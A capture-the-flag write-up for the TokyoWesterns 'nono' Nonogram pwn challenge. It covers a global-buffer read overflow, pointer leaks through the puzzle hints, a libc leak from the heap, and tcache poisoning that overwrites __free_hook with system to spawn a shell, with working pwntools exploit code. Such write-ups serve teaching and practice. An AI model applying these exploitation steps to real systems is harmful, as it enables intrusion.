Rating: 5.0
Do you like the puzzle game?
nono
libc.so.6: standard ubuntu 20.04 libc version 2.31
nc pwn03.chal.ctf.westerns.tokyo 22915
This task is based on the Nonogram puzzle game. The binary allows us to create new puzzles, play them, show puzzles (after we have solved them) and delete them over a simple command-line interface. The binary is PIE, has NX and full-relro enabled. Puzzles consist of a title and a square grid of bits (each cell can be either 0 or 1). Whenever we need to select a puzzle (for the play, show and delete actions), a list with the title of each puzzle is shown.
The bug in the binary is in the add function. The reversed source code for this function is:
struct Puzzle {
int size;
char* data;
std::string title;
bool solved;
};
char gbuf[0x200];
std::vector<struct Puzzle*> vec_puzzle;
void add_puzzle(void) {
auto title = basic_string();
std::cout << "Title: ";
if (!(std::cin >> title)) {
std::cout << "Size: ";
size = read_int();
if (size == 0) {
std::cout << "input error" << std::endl;
return;
}
std::cout << "Puzzle: ";
read_cnt = read(0,gbuf,(size * size >> 3) + 1);
if (read_cnt < 1) {
std::cout << "input error" << std::endl;
return;
}
auto title_copy = std::string(title);
auto puzzle_mem = operator.new(0x38);
Puzzle(puzzle_mem,&title_copy,size,gbuf);
~basic_string(&title_copy);
push_back(vec_puzzle,&puzzle_this);
std::cout << "Success" << std::endl;
}
else {
clear(0x1091d0);
ignore();
this = operator<<<std--char_traits<char>>(cout,"input error");
operator<<(this,endl<char,std--char_traits<char>>);
}
~basic_string(&title);
if (local_20 != *(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
The call to read happens without any sizing checking, even though the buffer gbuf in the data section has a fixed size of 0x200 bytes.
With this bug, we can corrupt the structure representing the vec_puzzle vector.
The code also doesn't check if enough data has been read. If we send less than ((size * size) >> 3) + 1 bytes, we can create a puzzle with uninitialized data.
Nonograms are represented in memory as bitarrays. The state of each cell is a single bit.
The bitarray for a nonogram of size 92 needs 92 * 92 / 8 + 1 = 0x432 bytes.
If we only sent 0x200 zeros, then part of the data for that nonogram will be filled with the data of the vec_puzzle structure, since it is located immediately after the gbuf buffer in the data section.
Because the data section does not contain any other variables past that point, the rest of the buffer is zero.
So we can create a nonogram that contains the vec_puzzle structure. A vector in C++ is represented 3 pointers, begin, end (points to the end of used storage, where the next element will be placed) and cap (points to the end of the allocated storage).
If we manage to solve the puzzle, we can thus leak pointers into the heap.
The nonogram puzzle has a list of hints for each row and each column. The hints tell us how many bits are set in each continuous group of bits within that row/column. But unfortunately, because our puzzle is only 92 bits wide, the three pointers are not in a single column. The following graphic illustrates how the pointers are located in our nonogram:
Black cells represent known zeros (the two most significant bytes of each pointers are always zero).
The yellow part are the bits that are common between the pointers (depend only on ASLR).
The red, green and blue parts are the lowest 12 bits of each pointer.
We can easily recover the bits that are the only non-zero cells in a column, since then the hint is 1 if the bit is set and 0 otherwise.
After that, we can continue to recover the bits that are only together with now-known bits in a row.
Repeating this process, we see that we can get all except four bits.
The remaining four bits luckily appear to be constant between runs and also match our local setup, so we can simply hardcode them (but they could also easily be brute-forced).
Here's the function to leak those three pointers:
@context.silent
def solve_leak(idx, known_bits):
#known_bits = [0,0,0,0]
add_puzzle("leak", 92, b"\x00"*0x400)
p.sendlineafter("Your input: ", "1")
p.sendlineafter("Index:\n", str(idx))
p.recvline_contains("Row's Numbers")
row_numbers = [int(x.strip(b",")) for x in p.readuntil("\nColumn's Numbers\n", drop=True).split()]
p.recvline_contains("Current Status")
common = row_numbers[52:68] + row_numbers[32:40]
common = common + [a - b for a,b in zip(row_numbers[76:88], known_bits + common[:8])]
assert len(common) == 36
beg_low = [a - b for a, b in zip(row_numbers[4:16], common[16:28])]
end_low = [a - b for a, b in zip(row_numbers[68:80], common[16:28])]
cap_low = [a - b for a, b in zip(row_numbers[40:52], common[-12:])]
zeros = [0] * 16
assert len(beg_low) == 12
assert len(end_low) == 12
assert len(cap_low) == 12
beg_bits = beg_low + common + zeros
end_bits = end_low + common + zeros
cap_bits = cap_low + common + zeros
actions = [(i, 89) for i, v in enumerate([0] * 4 + beg_bits + end_bits[:24]) if v]
actions += [(i, 90) for i, v in enumerate(common[12:] + zeros + cap_bits[:52]) if v]
p.sendlineafter(":", "".join(str(x) + " " + str(y) + "\n" for x, y in actions))
p.recvline_contains("Congratz!")
return u64(decode_int64(beg_bits)), u64(decode_int64(end_bits)), u64(decode_int64(cap_bits))
As a next step, we want to leak the base address of libc.
For this, we can leak data from the heap after freeing a big enough number of puzzles.
The last chunk in the linked list of free chunks will then contain a pointer into the libc main_arena struct, so there will be a libc pointer on the heap.
First, let's create some puzzles and free them again:
for i in range(10):
add_puzzle("tofree" + str(i), 1, b"\x01")
for _ in range(10):
delete_puzzle(4)
We can now corrupt the pointers of the vec_puzzle vector.
If we point the end vector to some place on the heap and make sure that there is enough capacity (cap - end >= 8), then the next push_back in add_puzzle will write the pointer to the newly allocated puzzle at the location we set end to.
This primitive allows us to write a pointer to an allocated Puzzle struct anywhere we want on the heap.
Let's make a function for that:
def write_puzzleptr_to(addr, base=None):
add_puzzle("write", 92, flat({
0x400: [addr, addr, addr + 8]
}, filler=b"\0"))
delete_puzzle(0)
if base:
add_puzzle("write", 92, flat({
0x400: [base, base + 16, base + 24]
}, filler=b"\0"))
return
add_puzzle("write", 92, flat({
0x400: [orig_vec_beg, orig_vec_end, orig_vec_cap]
}, filler=b"\0"))
We also make sure to reset the vector again after doing our corruption, so that we don't accidently corrupt much more later in our exploits.
Using this primitive, we can overwrite the data and size pointer of a title string to leak a large portion of the heap:
string_addr = beg + 0x30
info("string_addr %#x", string_addr)
write_puzzleptr_to(string_addr + 4) # this will set size to the topmost 4 bytes of a puzzle address, so it will be large (but only about 16 bit, because the topmost 2 bytes are always zero)
write_puzzleptr_to(string_addr) # here we set the data pointer to point to an allocated puzzle
When we list the puzzles the next time (using any action that requires us to enter a puzzle id), we get a large heap dump as a title of one of the puzzles. We can find a libc address at some offset within this dump.
__free_hook / spawn a shellAfter leaking all the addresses, we can now turn to spawn a shell.
The plan here is that we want a string to be allocated at the place of __free_hook with controlled data.
By setting the data to the address of system, this will then set __free_hook to system, meaning we can execute shell commands by freeing chunks.
We do the familar tcache next pointer corruption to achieve this. First, we free some puzzles, so their structs will be placed into a tcache (a single-linked list):
for i in range(5):
add_puzzle("tcache" + str(i), 1, b"\x01")
for i in range(5):
delete_puzzle(14)
When we now allocate a new puzzle, the puzzle will be allocated in the first chunk of the tcache.
Using our primitive from before, we can overwrite a next pointer from another chunk in the same tcache with this address.
After this, our tcache will be cyclic (because the first chunk will appear again later in tcache again).
We then just need to allocate a string of the correct size and it'll end up in the location of that puzzle, therefore allowing us to overwrite the next pointer of a later chunk in the same tcache with arbitrary data.
tcache_next_addr = beg + 0x12c0
# we need some valid puzzles to free, there appear to be some valid pointers at beg + 0x1320
write_puzzleptr_to(tcache_next_addr, base=beg + 0x1320)
delete_puzzle(2)
delete_puzzle(1)
delete_puzzle(0)
add_puzzle(flat({
0x0: p64(libc.symbols.__free_hook),
}, length=0x31), 1, b"\x01")
After this, we now allocate some more chunks until our __free_hook chunk is at the correct place (the correct amount can be found with a debugger) in the tcache linked list and then overwrite the __free_hook with system:
for _ in range(2):
add_puzzle("claim", 1, b"\x01")
add_puzzle(flat({
0x0: p64(libc.address + 0x55410),
}, length=0x31), 1, b"\x01", check=False)
Now, we can simply make a new puzzle with a title containing a shell command to get an interactive shell:
p.sendline("")
p.sendlineafter("Your input: ", "2")
p.sendline("bash;test#################################################1\n\n\n\n\n")
And cat the flag: TWCTF{watashi_puzzle_daisuki_mainiti_yatteru}
